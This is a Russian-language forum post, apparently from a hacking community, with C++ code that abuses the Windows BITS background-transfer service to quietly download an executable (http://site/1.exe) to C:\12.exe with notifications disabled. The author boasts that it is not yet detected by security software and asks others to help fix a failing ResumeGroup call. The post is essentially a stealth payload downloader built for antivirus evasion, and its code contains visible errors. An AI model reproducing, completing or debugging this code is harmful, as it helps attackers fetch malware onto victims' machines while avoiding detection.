Помоему этого ещё никто не делал. Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак: Code: #define _WIN32_WINNT 0x0500 #include "QMGR.h" #define UNICODE #pragma comment(linker,"/ENTRY:WinMain") #pragma comment(linker,"/SECTION:.text,EWR") int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { IBackgroundCopyQMgr* man=NULL; IBackgroundCopyGroup* gr=NULL; IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1)); FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESETINFO)); GUID grID,jbID; VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*)); CoCreateGuid(&grID); CoCreateGuid(&jbID); BSTR local = BSTR("C:\\12.exe"); BSTR rem = BSTR("http://site/1.exe"); file->bstrLocalFile=local; file->bstrRemoteFile=rem; file->dwSizeHint=10000; HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); if(SUCCEEDED(h)){ h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**) &man); if(SUCCEEDED(h)){ if(man->CreateGroup(grID,&gr)!=S_OK){ MessageBoxA(0,"CrGr","Error!",0); ExitProcess(0); } gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1); gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP ); gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY); gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1"); gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123"); gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2"); gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL); gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL); if(gr->CreateJob(jbID,&jb)!=S_OK){ MessageBoxA(0,"CrJb","Error!",0); ExitProcess(0); } if(jb->AddFiles(0,&file)!=S_OK){ MessageBoxA(0,"AddFiles","Error!",0); ExitProcess(0); } if(gr->ResumeGroup()!=S_OK){ MessageBoxA(0,"Resume","Error!",0); ExitProcess(0); } Sleep(10000); //ламо было заниматься получение статуса и т.д. } } jb->Release(); gr->CancelGroup(); ExitProcess(0); } Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx